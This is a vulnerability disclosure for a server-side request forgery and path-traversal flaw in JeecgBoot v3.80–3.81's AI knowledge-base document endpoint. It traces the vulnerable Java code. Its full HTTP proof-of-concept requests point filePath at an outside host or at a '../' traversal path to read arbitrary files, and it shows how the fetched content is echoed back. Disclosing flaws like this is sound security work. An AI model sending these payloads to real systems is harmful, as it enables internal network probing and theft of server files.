jeecgboot SSRF Vulnerability

Affect version

v 3.80-3.81(AI)

Prerequisites

  1. Need to get an account to log in
  2. If the deployment vector model is not enabled, you can blindly ssrf
  3. Ssrf can be performed when the deployment vector model is enabled (with echo)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1
Host: 192.168.1.5:3100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=UTF-8
X-TIMESTAMP: 1752290640027
X-Sign: 883DF65C990F601834BB161FC6AE86D4
X-Version: v3
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Tenant-Id: 0
Content-Length: 154
Origin: http://192.168.1.5:3100
Connection: keep-alive
Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList
Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752290319; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117
Priority: u=0

{"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"http://101.33.240.213:50002/jeecgboot.txt\"}",
"content":""}

Verification process

Log in to the system

image

Click on the AI Knowledge Base, where you can choose to create a new one or the existing ones

image

Click File Upload-Upload Document

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1
Host: 192.168.1.5:3100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=UTF-8
X-TIMESTAMP: 1752290640027
X-Sign: 883DF65C990F601834BB161FC6AE86D4
X-Version: v3
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Tenant-Id: 0
Content-Length: 122
Origin: http://192.168.1.5:3100
Connection: keep-alive
Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList
Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752290319; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117
Priority: u=0

{"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"temp/../../../../../../../../../../../../../../tmp/3333.txt\"}",
"content":""}

Here we catch the package and modify the filePath to any file.

image

Enter the interface

org/jeecg/modules/airag/llm/controller/AiragKnowledgeController.java#206

1
2
3
4
5
@PostMapping(value = "/doc/edit")
@RequiresPermissions("airag:knowledge:doc:edit")
public Result<?> addDocument(@RequestBody AiragKnowledgeDoc airagKnowledgeDoc) {
return airagKnowledgeDocService.editDocument(airagKnowledgeDoc);
}

image

Here is further tracking, this interface is to edit the meta information of the knowledge base

image

Come to the asynchronous parsing document, this is the key point.

jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/service/impl/AiragKnowledgeDocServiceImpl.java#178

1
2
3
4
5
6
7
8
9
10
11
try {
Map<String, Object> metadata = embeddingHandler.embeddingDocument(knowId, doc);
// 更新数据 date:2025/2/18
if (null != metadata) {
doc.setStatus(KNOWLEDGE_DOC_STATUS_COMPLETE);
this.updateById(doc);
log.info("重建文档成功, 知识库id: {}, 文档id: {}", knowId, doc.getId());
} else {
this.handleDocBuildFailed(doc, "向量化失败");
log.info("重建文档失败, 知识库id: {}, 文档id: {}", knowId, doc.getId());
}

Continuously tracking to the reconstruction vector.

jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/handler/EmbeddingHandler.java#140

1
String content = doc.getContent();

image

Enter

1
content = parseFile(doc);

image

Among them, the Parsefile method is our key point, which can cause ssrf and arbitrary file to be read.

Unlimited conditions cause ssrf (blindly hit ssrf without echo)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1
Host: 192.168.1.5:3100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=UTF-8
X-TIMESTAMP: 1752290640027
X-Sign: 883DF65C990F601834BB161FC6AE86D4
X-Version: v3
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Tenant-Id: 0
Content-Length: 154
Origin: http://192.168.1.5:3100
Connection: keep-alive
Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList
Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752290319; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117
Priority: u=0

{"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"http://101.33.240.213:50002/jeecgboot.txt\"}",
"content":""}

The specific method of creating ssrf is

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
filePath = ensureFile(filePath);
@NotNull
private String ensureFile(String filePath) {
// 网络资源,先下载到临时目录
Matcher matcher = LLMConsts.WEB_PATTERN.matcher(filePath);
if (matcher.matches()) {
log.info("网络资源,下载到临时目录:" + filePath);
// 准备文件
String tempFilePath = uploadpath + File.separator + "tmp" + File.separator + UUIDGenerator.generate() + File.separator;
String fileName = filePath;
if (fileName.contains("?")) {
fileName = fileName.substring(0, fileName.indexOf("?"));
}
fileName = FilenameUtils.getName(fileName);
tempFilePath = tempFilePath + fileName;
FileDownloadUtils.download2DiskFromNet(filePath, tempFilePath);
filePath = tempFilePath;
} else {
//本地文件
filePath = uploadpath + File.separator + filePath;
}
return filePath;
}

Determine whether the incoming path is http/https access to the network file and download it to the web directory.

image

Enter download2DiskFromNet

Initiate an access.

image

Ssrf under vector model (with echo)

Add a model

image

Modify it into our vector model. Since the front end is not written well here, you can’t modify it directly by clicking here.

image

However, it can be used to update the interface to obtain our model id. You can see in the model list. Here we first use the interface to update the vector model of the knowledge base.

image

image

Now, the vector model has been updated to our model.

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1
Host: 192.168.1.5:3100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=UTF-8
X-TIMESTAMP: 1752366582941
X-Sign: A305C5E0C3906BFED81CE09AFB41C261
X-Version: v3
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Tenant-Id: 0
Content-Length: 154
Origin: http://192.168.1.5:3100
Connection: keep-alive
Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList
Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752364217; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117
Priority: u=0

{"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"http://101.33.240.213:50002/jeecgboot.txt\"}",
"content":""}

The ssrf package enters the interface we just did and continue to follow the code. The URL content has been read here.

image

Return content

image

Here is the echoes obtained by the title and the ssrf are combined as the title.

1
2
3
if (oConvertUtils.isNotEmpty(doc.getTitle())) {
content = doc.getTitle() + "\n\n" + content;
}

image

The following is normal vectorization. No model will fail to rebuild, and SSRF cannot be echoed, so you need to configure the vector model first.

image

Search our title here to view the response content.

image

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /jeecgboot/airag/knowledge/embedding/hitTest/1897926563148648449?queryText=122&knowId=1897926563148648449&topNumber=5&similarity=0.65&_t=1752366887814 HTTP/1.1
Host: 192.168.1.5:3100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-TIMESTAMP: 1752366887819
X-Sign: B65ACFD4CFE5C7D85FF4D3C9FB6B6794
X-Version: v3
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY
X-Tenant-Id: 0
Connection: keep-alive
Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList
Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752366859; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117
Priority: u=0

image

Repair suggestions

  1. Filter for filepath